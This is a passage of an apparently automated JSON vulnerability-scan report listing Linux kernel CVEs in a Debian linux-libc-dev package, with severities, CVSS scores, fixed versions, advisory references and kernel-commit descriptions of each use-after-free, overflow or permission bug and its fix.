teardown this would result in a\ndouble free.\n\nThe commit under fixes updated this code to handle the case where the\nnative page size is \u003e= 64k, but it unintentionally broke the head grow\ncase.\n\nTo fix this, add an offset field to struct bnxt_sw_rx_bd, mirroring the\nexisting offset field in struct bnxt_sw_rx_agg_bd. Populate it on\nallocation and preserve it on reuse.\n\nIn bnxt_rx_multi_page_skb, use the newly added offset field to compute\nthe fragment start and pass that to napi_build_skb. Adjust the layout\nwith skb_reserve.\n\nThere are two cases, the non-adjustment case and the adjustment case.\n\nIn both cases, the skb is built at page_address(page) + offset to\naccount for the case where the native page size \u003e= 64K and skb_reserve\nis called with data_ptr - (page_address(page) + offset). That\ndifference equals bp-\u003erx_offset when data_ptr was not moved, or\nbp-\u003erx_offset + xdp_adjust when XDP adjusted the head.\n\nRe-running the failing test with this commit applied causes the test to\nrun successfully to completion.\n\nThe other rx_skb_func implementations don't have this issue.", "Severity": "HIGH", "VendorSeverity": { "azure": 2, "photon": 4, "redhat": 3, "ubuntu": 3 }, "CVSS": { "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 7 } }, "References": [ "https://access.redhat.com/security/cve/CVE-2026-74269", "https://git.kernel.org/linus/e26657fe3b85c068b01f42bb0c602f242d643ba9%20%287.2-rc1%29", "https://git.kernel.org/stable/c/3e8f3959a7fd28461b8cd9708c21286b4250b77a", "https://git.kernel.org/stable/c/4c03275bc4435cc8e25f7f3f08aff58c0e783d8d", "https://git.kernel.org/stable/c/59f6211c006cb5936b443fb396eb43864ca21ed5", "https://git.kernel.org/stable/c/bb72b1c6755631c74b7e0878ee55bb81c06776c0", "https://git.kernel.org/stable/c/e26657fe3b85c068b01f42bb0c602f242d643ba9", "https://git.kernel.org/stable/c/ff34e5a26a26c92142afea11455e259c4c4c617b", "https://lore.kernel.org/linux-cve-announce/2026081543-CVE-2026-74269-29cf@gregkh/T", "https://nvd.nist.gov/vuln/detail/CVE-2026-74269", "https://ubuntu.com/security/notices/USN-8781-1", "https://ubuntu.com/security/notices/USN-8816-1", "https://ubuntu.com/security/notices/USN-8816-2", "https://ubuntu.com/security/notices/USN-8816-3", "https://ubuntu.com/security/notices/USN-8816-4", "https://ubuntu.com/security/notices/USN-8888-1", "https://ubuntu.com/security/notices/USN-8888-2", "https://ubuntu.com/security/notices/USN-9003-1", "https://www.cve.org/CVERecord?id=CVE-2026-74269" ], "PublishedDate": "2026-08-15T06:22:26.28Z", "LastModifiedDate": "2026-10-30T13:19:54.063Z" }, { "VulnerabilityID": "CVE-2026-74270", "PkgID": "linux-libc-dev@6.12.74-2", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.12.74-2?arch=all\u0026distro=debian-13.3", "UID": "2d3425cf67af88d8" }, "InstalledVersion": "6.12.74-2", "FixedVersion": "6.12.100-1", "Status": "fixed", "Layer": { "DiffID": "sha256:e3062d5d0fe8c6f58e404868603100525046cc38e83d3372358ab598f70f3dd4" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-74270", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:d396496c2b8aac7aceb2c39dfaaf6e18005fd64311aa89ff6f099be769d3f767", "Title": "kernel: handshake: Require admin permission for DONE command", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\nhandshake: Require admin permission for DONE command\n\nACCEPT and DONE are the two downcalls of the handshake genl\nfamily, both intended for use by the trusted handshake agent\n(tlshd). ACCEPT already requires GENL_ADMIN_PERM; DONE has\nno privilege check at all.\n\nThe fd-lookup in handshake_nl_done_doit() only confirms that\nsome pending handshake request exists for the supplied sockfd;\nit does not authenticate the sender. An unprivileged process\nthat guesses or observes a valid sockfd can therefore submit\na DONE with HANDSHAKE_A_DONE_STATUS == 0, leaving the kernel\nconsumer to proceed as if the handshake succeeded. A non-zero\nstatus on a forged DONE tears down a legitimate in-flight\nhandshake before tlshd can report its real result.", "Severity": "HIGH", "VendorSeverity": { "amazon": 3, "oracle-oval": 3, "photon": 3, "redhat": 3, "ubuntu": 2 }, "CVSS": { "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 7.8 } }, "References": [ "https://access.redhat.com/security/cve/CVE-2026-74270", "https://git.kernel.org/linus/81246a65303d9635266b1334490142caaf86a11f%20%287.2-rc1%29", "https://git.kernel.org/stable/c/25fb53e43ec006ac69b9e825a7e8a11d63a6083e", "https://git.kernel.org/stable/c/4dafc411948469277b276724c3b2b4408c02c04c", "https://git.kernel.org/stable/c/67cec2f1eb9e58719d622e92e2278ceda72dbd85", "https://git.kernel.org/stable/c/81246a65303d9635266b1334490142caaf86a11f", "https://git.kernel.org/stable/c/b6557f912509abe8e70223373dd7a44d1d4a0d6c", "https://linux.oracle.com/cve/CVE-2026-74270.html", "https://linux.oracle.com/errata/ELSA-2026-500248.html", "https://lore.kernel.org/linux-cve-announce/2026081544-CVE-2026-74270-5c6f@gregkh/T", "https://nvd.nist.gov/vuln/detail/CVE-2026-74270", "https://ubuntu.com/security/notices/USN-8886-1", "https://ubuntu.com/security/notices/USN-8887-1", "https://ubuntu.com/security/notices/USN-8887-2", "https://ubuntu.com/security/notices/USN-8887-3", "https://ubuntu.com/security/notices/USN-8888-1", "https://ubuntu.com/security/notices/USN-8888-2", "https://ubuntu.com/security/notices/USN-8889-1", "https://ubuntu.com/security/notices/USN-8917-1", "https://ubuntu.com/security/notices/USN-8918-1", "https://ubuntu.com/security/notices/USN-9003-1", "https://www.cve.org/CVERecord?id=CVE-2026-74270" ], "PublishedDate": "2026-08-15T06:22:26.39Z", "LastModifiedDate": "2026-10-16T19:17:35.6Z" }, { "VulnerabilityID": "CVE-2026-74310", "PkgID": "linux-libc-dev@6.12.74-2", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.12.74-2?arch=all\u0026distro=debian-13.3", "UID": "2d3425cf67af88d8" }, "InstalledVersion": "6.12.74-2", "FixedVersion": "6.12.100-1", "Status": "fixed", "Layer": { "DiffID": "sha256:e3062d5d0fe8c6f58e404868603100525046cc38e83d3372358ab598f70f3dd4" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-74310", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:aeb650b940722f0da5082eee267334c4fad0409e72907755d78c9b0a4724004c", "Title": "kernel: vhost/net: complete zerocopy ubufs only once", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\nvhost/net: complete zerocopy ubufs only once\n\nvhost-net initializes one ubuf_info per outstanding zerocopy TX\ndescriptor and hands it to the backend socket. The networking stack may\nthen clone a zerocopy skb before all skb references are released. For\nexample, batman-adv fragmentation reaches skb_split(), which calls\nskb_zerocopy_clone() and increments the same ubuf_info refcount.\n\nvhost_zerocopy_complete() currently treats every ubuf callback as a\ncompleted vhost descriptor. It dereferences ubuf-\u003ectx, writes the\ndescriptor completion state, and drops the vhost_net_ubuf_ref even when\nthe callback only releases a cloned skb reference. A backend reset can\ntherefore wait for and free the vhost_net_ubuf_ref while another cloned\nskb still carries the same ubuf_info. A later completion then\ndereferences the freed ubufs pointer.\n\nKASAN reports the stale completion as:\n\n BUG: KASAN: slab-use-after-free in vhost_zerocopy_complete+0x1d7/0x1f0\n BUG: KASAN: slab-use-after-free in vhost_zerocopy_complete+0x101/0x1f0\n vhost_zerocopy_complete\n skb_copy_ubufs\n __dev_forward_skb2\n veth_xmit\n\nThe freed object was allocated from vhost_net_ioctl() while setting the\nbackend and freed through kfree_rcu()/kvfree_rcu_bulk after backend\nremoval, while delayed skb completion still reached\nvhost_zerocopy_complete().\n\nHonor the generic ubuf_info refcount before touching vhost state, and run\nthe vhost descriptor completion only for the final ubuf reference. This\nmatches the msg_zerocopy_complete() ownership rule for cloned zerocopy\nskbs.", "Severity": "HIGH", "VendorSeverity": { "amazon": 3, "oracle-oval": 3, "photon": 4, "redhat": 3, "ubuntu": 3 }, "CVSS": { "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H", "V3Score": 8.8 } }, "References": [ "https://access.redhat.com/security/cve/CVE-2026-74310", "https://git.kernel.org/linus/8f6898fe80794f2d7c3d38c1158c806e4074a1c4%20%287.2-rc1%29", "https://git.kernel.org/stable/c/321c73baf54d971ce3771fea275c98a247f7ee35", "https://git.kernel.org/stable/c/6445b945024f4c7675ae5352b2d5885cb1deea71", "https://git.kernel.org/stable/c/8f6898fe80794f2d7c3d38c1158c806e4074a1c4", "https://git.kernel.org/stable/c/a9f8a1d2e3ff511eafd4c5462481950c2f4d2b5d", "https://git.kernel.org/stable/c/c069437924663539a93a1e5afe90838d9ccee284", "https://git.kernel.org/stable/c/ea71f873423fb73e66ad88936d6759ac0ad4aa53", "https://linux.oracle.com/cve/CVE-2026-74310.html", "https://linux.oracle.com/errata/ELSA-2026-500248.html", "https://lore.kernel.org/linux-cve-announce/2026081551-CVE-2026-74310-06ad@gregkh/T", "https://nvd.nist.gov/vuln/detail/CVE-2026-74310", "https://ubuntu.com/security/notices/USN-8781-1", "https://ubuntu.com/security/notices/USN-8816-1", "https://ubuntu.com/security/notices/USN-8816-2", "https://ubuntu.com/security/notices/USN-8816-3", "https://ubuntu.com/security/notices/USN-8816-4", "https://ubuntu.com/security/notices/USN-8888-1", "https://ubuntu.com/security/notices/USN-8888-2", "https://ubuntu.com/security/notices/USN-8917-1", "https://ubuntu.com/security/notices/USN-8918-1", "https://ubuntu.com/security/notices/USN-9003-1", "https://www.cve.org/CVERecord?id=CVE-2026-74310" ], "PublishedDate": "2026-08-15T06:22:30.987Z", "LastModifiedDate": "2026-10-16T19:17:38.347Z" }, { "VulnerabilityID": "CVE-2026-74345", "PkgID": "linux-libc-dev@6.12.74-2", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.12.74-2?arch=all\u0026distro=debian-13.3", "UID": "2d3425cf67af88d8" }, "InstalledVersion": "6.12.74-2", "FixedVersion": "6.12.100-1", "Status": "fixed", "Layer": { "DiffID": "sha256:e3062d5d0fe8c6f58e404868603100525046cc38e83d3372358ab598f70f3dd4" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-74345", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:9067c8757041d3a8e7da419ea688abea583be8183295c60c409b96ee910fe891", "Title": "kernel: RDMA/siw: Fix endpoint/socket association handling", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\nRDMA/siw: Fix endpoint/socket association handling\n\nDisassociating a socket from an endpoint via siw_socket_disassoc() may\nrelease the last reference on that endpoint and free it. Therefore, don't\nclear the endpoints socket pointer after calling that function, but\nwithin.\n\nThis fixes a:\n\n BUG: KASAN: slab-use-after-free in siw_cm_work_handler (drivers/infiniband/sw/siw/siw_cm.c:1053 drivers/infiniband/sw/siw/siw_cm.c:1075)\n\nwhich occurred after processing a malformed MPA request during connection\nestablishment, causing the new endpoint to be closed.", "Severity": "HIGH", "VendorSeverity": { "azure": 4, "photon": 4, "redhat": 3, "ubuntu": 4 }, "CVSS": { "redhat": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "V3Score": 7.5 } }, "References": [ "https://access.redhat.com/security/cve/CVE-2026-74345", "https://git.kernel.org/linus/ea4f6f6c53577fb3f05dbd78b15e586772d49831%20%287.2-rc1%29", "https://git.kernel.org/stable/c/b28d513393f81e2de00f82970487a9d001557e4e", "https://git.kernel.org/stable/c/b6cf763eee0a932792bef64ceaca568d324192fc", "https://git.kernel.org/stable/c/ea4f6f6c53577fb3f05dbd78b15e586772d49831", "https://git.kernel.org/stable/c/f27da1192118fb6a7e73a85cfe4b02ccf8298619", "https://git.kernel.org/stable/c/f6183983ce1ff254d629a333739082b39d7c5eb6", "https://git.kernel.org/stable/c/ff584d3735b13a1d7f8cd072f98fea40b6062518", "https://lore.kernel.org/linux-cve-announce/2026081558-CVE-2026-74345-c375@gregkh/T", "https://nvd.nist.gov/vuln/detail/CVE-2026-74345", "https://ubuntu.com/security/notices/USN-8781-1", "https://ubuntu.com/security/notices/USN-8816-1", "https://ubuntu.com/security/notices/USN-8816-2", "https://ubuntu.com/security/notices/USN-8816-3", "https://ubuntu.com/security/notices/USN-8816-4", "https://ubuntu.com/security/notices/USN-8888-1", "https://ubuntu.com/security/notices/USN-8888-2", "https://ubuntu.com/security/notices/USN-8917-1", "https://ubuntu.com/security/notices/USN-8918-1", "https://ubuntu.com/security/notices/USN-9003-1", "https://www.cve.org/CVERecord?id=CVE-2026-74345" ], "PublishedDate": "2026-08-15T06:22:35.607Z", "LastModifiedDate": "2026-10-30T13:19:55.633Z" }, { "VulnerabilityID": "CVE-2026-74394", "PkgID": "linux-libc-dev@6.12.74-2", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.12.74-2?arch=all\u0026distro=debian-13.3", "UID": "2d3425cf67af88d8" }, "InstalledVersion": "6.12.74-2", "FixedVersion": "6.12.100-1", "Status": "fixed", "Layer": { "DiffID": "sha256:e3062d5d0fe8c6f58e404868603100525046cc38e83d3372358ab598f70f3dd4" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-74394", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:967563ab5b7890cd579a0dbe4cf907f709101a530ec46ab116e8905d8e232ab5", "Title": "kernel: RDMA/srpt: fix integer overflow in immediate data length check", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\nRDMA/srpt: fix integer overflow in immediate data length check\n\nimm_buf-\u003elen is a user-controlled uint32_t received from the network.\nAdding it to imm_data_offset without overflow checking allows a\nmalicious initiator to send len=0xFFFFFFFF, causing req_size to wrap\naround to a small value, bypassing the bounds check, and subsequently\npassing a ~4GB length to sg_init_one().\n\nUse check_add_overflow() to detect wrapping before the comparison.", "Severity": "HIGH", "VendorSeverity": { "oracle-oval": 3, "photon": 4, "redhat": 3, "ubuntu": 4 }, "CVSS": { "redhat": { "V3Vector": "CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 7.5 } }, "References": [ "https://access.redhat.com/security/cve/CVE-2026-74394", "https://git.kernel.org/linus/eb4ecdf631fe00e8020bf461503cb9b7017ed796%20%287.2-rc1%29", "https://git.kernel.org/stable/c/067b9556eeb007f28b7c2033b4dcde5b6d88418f", "https://git.kernel.org/stable/c/07dec3f6dcb6c6cc891162d252b800eb0e6d5e8e", "https://git.kernel.org/stable/c/3efa5301137140a3ca3677a9098c0a93a0acfd49", "https://git.kernel.org/stable/c/65572fbd86033ae2370125593d59b8be34253aaf", "https://git.kernel.org/stable/c/72497172a4799119a0282a5eb5e2b8ddcc821921", "https://git.kernel.org/stable/c/c82c860f8c8e4f4f454c9f14d0ad0c0466965f7d", "https://git.kernel.org/stable/c/dcf7a986f377cce0749ed53f1d64195fbd5fdf91", "https://git.kernel.org/stable/c/eb4ecdf631fe00e8020bf461503cb9b7017ed796", "https://linux.oracle.com/cve/CVE-2026-74394.html", "https://linux.oracle.com/errata/ELSA-2026-500249.html", "https://lore.kernel.org/linux-cve-announce/2026081507-CVE-2026-74394-6792@gregkh/T", "https://nvd.nist.gov/vuln/detail/CVE-2026-74394", "https://ubuntu.com/security/notices/USN-8781-1", "https://ubuntu.com/security/notices/USN-8816-1", "https://ubuntu.com/security/notices/USN-8816-2", "https://ubuntu.com/security/notices/USN-8816-3", "https://ubuntu.com/security/notices/USN-8816-4", "https://ubuntu.com/security/notices/USN-8875-1", "https://ubuntu.com/security/notices/USN-8875-2", "https://ubuntu.com/security/notices/USN-8876-1", "https://ubuntu.com/security/notices/USN-8877-1", "https://ubuntu.com/security/notices/USN-8878-1", "https://ubuntu.com/security/notices/USN-8879-1", "https://ubuntu.com/security/notices/USN-8888-1", "https://ubuntu.com/security/notices/USN-8888-2", "https://ubuntu.com/security/notices/USN-8917-1", "https://ubuntu.com/security/notices/USN-8918-1", "https://ubuntu.com/security/notices/USN-8963-1", "https://ubuntu.com/security/notices/USN-9003-1", "https://www.cve.org/CVERecord?id=CVE-2026-74394" ], "PublishedDate": "2026-08-15T06:22:41.363Z", "LastModifiedDate": "2026-10-16T20:17:24.97Z" }, { "VulnerabilityID": "CVE-2026-74469", "VendorIDs": [ "DSA-6466-1" ], "PkgID": "linux-libc-dev@6.12.74-2", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.12.74-2?arch=all\u0026distro=debian-13.3", "UID": "2d3425cf67af88d8" }, "InstalledVersion": "6.12.74-2", "FixedVersion": "6.12.105-1", "Status": "fixed", "Layer": { "DiffID": "sha256:e3062d5d0fe8c6f58e404868603100525046cc38e83d3372358ab598f70f3dd4" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-74469", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:81dbc70e7a1ef4302b86f3600c7c3c6ca2ed2b7d9b502105188528137a587d58", "Title": "kernel: sctp: prevent peer transport count overflow", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\nsctp: prevent peer transport count overflow\n\nsctp_assoc_add_peer() increments the association's 16-bit transport_count\nfor every new unique peer. Adding the 65,536th transport wraps the count to\nzero.\n\nSCTP sock_diag uses transport_count to reserve the INET_DIAG_PEERS payload,\nthen copies one sockaddr_storage for every entry in transport_addr_list.\nAfter the wrap, a diagnostic dump reserves an empty payload and writes\n8 MiB of peer addresses past the skb tail.\n\nReject a new unique peer when transport_count has reached U16_MAX. Perform\nthe check after the existing-peer lookup so a duplicate address continues\nto return its existing transport at the limit.", "Severity": "HIGH", "VendorSeverity": { "alma": 3, "amazon": 3, "azure": 3, "oracle-oval": 3, "photon": 3, "redhat": 3, "rocky": 3, "ubuntu": 2 }, "CVSS": { "redhat": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:L/A:H", "V3Score": 8.3 } }, "References": [ "https://access.redhat.com/errata/RHSA-2026:71232", "https://access.redhat.com/security/cve/CVE-2026-74469", "https://bugzilla.redhat.com/2432674", "https://bugzilla.redhat.com/2492381", "https://bugzilla.redhat.com/2502243", "https://bugzilla.redhat.com/2502251", "https://bugzilla.redhat.com/2502498", "https://bugzilla.redhat.com/2507134", "https://bugzilla.redhat.com/2507399", "https://bugzilla.redhat.com/2510890", "https://bugzilla.redhat.com/2513481", "https://bugzilla.redhat.com/2516527", "https://bugzilla.redhat.com/2528676", "https://bugzilla.redhat.com/2532176", "https://bugzilla.redhat.com/2535391", "https://bugzilla.redhat.com/show_bug.cgi?id=2432674", "https://bugzilla.redhat.com/show_bug.cgi?id=2492381", "https://bugzilla.redhat.com/show_bug.cgi?id=2502243", "https://bugzilla.redhat.com/show_bug.cgi?id=2502251", "https://bugzilla.redhat.com/show_bug.cgi?id=2502498", "https://bugzilla.redhat.com/show_bug.cgi?id=2507134", "https://bugzilla.redhat.com/show_bug.cgi?id=2507399", "https://bugzilla.redhat.com/show_bug.cgi?id=2510890", "https://bugzilla.redhat.com/show_bug.cgi?id=2513481", "https://bugzilla.redhat.com/show_bug.cgi?id=2516527", "https://bugzilla.redhat.com/show_bug.cgi?id=2517043", "https://bugzilla.redhat.com/show_bug.cgi?id=2528676", "https://bugzilla.redhat.com/show_bug.cgi?id=2532176", "https://bugzilla.redhat.com/show_bug.cgi?id=2535391", "https://creativecommons.org/licenses/by/4.0/", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-23007", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53005", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-63802", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-63831", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-64053", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-64383", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-64534", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-64564", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-68201", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-72261", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-74469", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-80844", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-81000", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-89846", "https://errata.almalinux.org/9/ALSA-2026-71232.html", "https://errata.rockylinux.org/RLSA-2026:71232", "https://git.kernel.org/linus/bd0e9289e2642f6a5c54faad304ce0f41e926d22%20%287.2-rc6%29", "https://git.kernel.org/stable/c/09e722030e8148ba4ed1e42c6b2ea57bda9f9895", "https://git.kernel.org/stable/c/4ba5bf7ed50f235ea4581de8e7a0002f4ed287b0", "https://git.kernel.org/stable/c/546221b86ceeba0d8fec92d46a0604bb7b62be07", "https://git.kernel.org/stable/c/6201cd1d70f1670c5b31ac506e7ab2fa7b8e7f75", "https://git.kernel.org/stable/c/80f48523a0fe42db2e7375dff4e38a25c117090a", "https://git.kernel.org/stable/c/b453e00da1211e997b82743d28af7714c59c05c8", "https://git.kernel.org/stable/c/bd0e9289e2642f6a5c54faad304ce0f41e926d22", "https://git.kernel.org/stable/c/dfea32dd76f390e3155177b0038cc47b01386198", "https://linux.oracle.com/cve/CVE-2026-74469.html", "https://linux.oracle.com/errata/ELSA-2026-500377.html", "https://lore.kernel.org/linux-cve-announce/2026081534-CVE-2026-74469-d3f3@gregkh/T", "https://nvd.nist.gov/vuln/detail/CVE-2026-74469", "https://ubuntu.com/security/notices/USN-8875-1", "https://ubuntu.com/security/notices/USN-8875-2", "https://ubuntu.com/security/notices/USN-8876-1", "https://ubuntu.com/security/notices/USN-8877-1", "https://ubuntu.com/security/notices/USN-8878-1", "https://ubuntu.com/security/notices/USN-8879-1", "https://ubuntu.com/security/notices/USN-8886-1", "https://ubuntu.com/security/notices/USN-8959-1", "https://ubuntu.com/security/notices/USN-8963-1", "https://www.cve.org/CVERecord?id=CVE-2026-74469" ], "PublishedDate": "2026-08-15T13:17:51.623Z", "LastModifiedDate": "2026-10-16T20:17:29.653Z" }, { "VulnerabilityID": "CVE-2026-74476", "VendorIDs": [ "DSA-6466-1" ], "PkgID": "linux-libc-dev@6.12.74-2", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.12.74-2?arch=all\u0026distro=debian-13.3", "UID": "2d3425cf67af88d8" }, "InstalledVersion": "6.12.74-2", "FixedVersion": "6.12.105-1", "Status": "fixed", "Layer": { "DiffID": "sha256:e3062d5d0fe8c6f58e404868603100525046cc38e83d3372358ab598f70f3dd4" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-74476", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:2512e12c6f43ff63b89788ed5cef2cd54ae96685eb54094ff0a085c1747715cf", "Title": "kernel: veth: convert frag_list skbs before running XDP", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\nveth: convert frag_list skbs before running XDP\n\nA frag_list skb can reach veth with data_len set but nr_frags zero.\nveth_convert_skb_to_xdp_buff() only converts skbs that are shared,\nlocked, have frags[], or do not have enough headroom. It later uses\nskb_is_nonlinear() to decide whether to set XDP_FLAGS_HAS_FRAGS and\nxdp_frags_size.\n\nThat exposes frag_list data to XDP as if it were stored in frags[], but\nfrags[] is empty. AF_XDP copy mode can then trust the bogus XDP fragment\nmetadata, walk an empty fragment entry, and crash in memcpy() from\n__xsk_rcv().\n\nRoute non-linear skbs through skb_pp_cow_data() before exposing them to\nXDP, and only advertise XDP frags when the resulting skb has frags[].\nskb_copy_bits() already handles frag_list input, and skb_pp_cow_data()\nbuilds frags[] output with skb_add_rx_frag(), which is the\nrepresentation XDP multi-buffer expects.", "Severity": "HIGH", "VendorSeverity": { "amazon": 3, "azure": 2, "oracle-oval": 3, "photon": 4, "redhat": 3, "ubuntu": 2 }, "CVSS": { "redhat": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 8.8 } }, "References": [ "https://access.redhat.com/security/cve/CVE-2026-74476", "https://git.kernel.org/linus/d0d6415963040c401e7a7e4e482a698ba52448cb%20%287.2-rc6%29", "https://git.kernel.org/stable/c/04958dba44dc795dc79ce2fcbc117821bbbd6542", "https://git.kernel.org/stable/c/0be3632597b8349d43a7dc4244b492dc62a05998", "https://git.kernel.org/stable/c/5c1c15c540fc45820ce3033c319151ec891bc10a", "https://git.kernel.org/stable/c/b24ba0bbffe3e23eb2f6838881c1fabcb29fb9fb", "https://git.kernel.org/stable/c/d0d6415963040c401e7a7e4e482a698ba52448cb", "https://git.kernel.org/stable/c/f9c1fff857e93be709c8b52ed1a643f37bd82c66", "https://linux.oracle.com/cve/CVE-2026-74476.html", "https://linux.oracle.com/errata/ELSA-2026-500374.html", "https://lore.kernel.org/linux-cve-announce/2026081535-CVE-2026-74476-c830@gregkh/T", "https://nvd.nist.gov/vuln/detail/CVE-2026-74476", "https://ubuntu.com/security/notices/USN-8781-1", "https://ubuntu.com/security/notices/USN-8959-1", "https://ubuntu.com/security/notices/USN-8960-1", "https://www.cve.org/CVERecord?id=CVE-2026-74476" ], "PublishedDate": "2026-08-15T13:17:52.397Z", "LastModifiedDate": "2026-10-16T20:17:30.613Z" }, { "VulnerabilityID": "CVE-2026-74480", "VendorIDs": [ "DSA-6466-1" ], "PkgID": "linux-libc-dev@6.12.74-2", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.12.74-2?arch=all\u0026distro=debian-13.3", "UID": "2d3425cf67af88d8" }, "InstalledVersion": "6.12.74-2", "FixedVersion": "6.12.105-1", "Status": "fixed", "Layer": { "DiffID": "sha256:e3062d5d0fe8c6f58e404868603100525046cc38e83d3372358ab598f70f3dd4" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-74480", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:d9e9d861c2fc88f6723ff4f4cc2780e10ff39ff7a39a316ee66e5df4b6a2885d", "Title": "kernel: net: bridge: stop fast-leave after deleting a port group", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\nnet: bridge: stop fast-leave after deleting a port group\n\nbr_multicast_leave_group() iterates mp-\u003eports with pp = \u0026p-\u003enext in\nits fast-leave path. After br_multicast_del_pg() removes p,\ncontinuing the loop advances pp through the deleted entry.\n\nIf multicast-to-unicast was enabled, the bridge can hold multiple port\ngroups for the same port and group with different source MAC\naddresses. Once multicast-to-unicast is disabled,\nbr_port_group_equal() matches those entries by port only. A fast leave\ncan then delete one entry and continue from its stale next pointer,\nleaving mp-\u003eports pointing at a deleted port group.\n\nFast leave only needs to remove one matching port group. Break after\nbr_multicast_del_pg() so the loop stops before dereferencing the\nremoved entry.", "Severity": "HIGH", "VendorSeverity": { "alma": 3, "amazon": 3, "azure": 3, "oracle-oval": 3, "photon": 4, "redhat": 3, "rocky": 3, "ubuntu": 2 }, "CVSS": { "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 7.8 } }, "References": [ "https://access.redhat.com/errata/RHSA-2026:66180", "https://access.redhat.com/security/cve/CVE-2026-74480", "https://bugzilla.redhat.com/2467065", "https://bugzilla.redhat.com/2468102", "https://bugzilla.redhat.com/2479812", "https://bugzilla.redhat.com/2481936", "https://bugzilla.redhat.com/2482566", "https://bugzilla.redhat.com/2484456", "https://bugzilla.redhat.com/2486463", "https://bugzilla.redhat.com/2486999", "https://bugzilla.redhat.com/2492329", "https://bugzilla.redhat.com/2492811", "https://bugzilla.redhat.com/2492841", "https://bugzilla.redhat.com/2501252", "https://bugzilla.redhat.com/2502394", "https://bugzilla.redhat.com/2510892", "https://bugzilla.redhat.com/2511932", "https://bugzilla.redhat.com/2516731", "https://bugzilla.redhat.com/2517046", "https://bugzilla.redhat.com/show_bug.cgi?id=2467065", "https://bugzilla.redhat.com/show_bug.cgi?id=2468102", "https://bugzilla.redhat.com/show_bug.cgi?id=2479812", "https://bugzilla.redhat.com/show_bug.cgi?id=2481936", "https://bugzilla.redhat.com/show_bug.cgi?id=2482566", "https://bugzilla.redhat.com/show_bug.cgi?id=2484456", "https://bugzilla.redhat.com/show_bug.cgi?id=2486463", "https://bugzilla.redhat.com/show_bug.cgi?id=2486999", "https://bugzilla.redhat.com/show_bug.cgi?id=2492329", "https://bugzilla.redhat.com/show_bug.cgi?id=2492811", "https://bugzilla.redhat.com/show_bug.cgi?id=2492841", "https://bugzilla.redhat.com/show_bug.cgi?id=2501252", "https://bugzilla.redhat.com/show_bug.cgi?id=2502394", "https://bugzilla.redhat.com/show_bug.cgi?id=2510892", 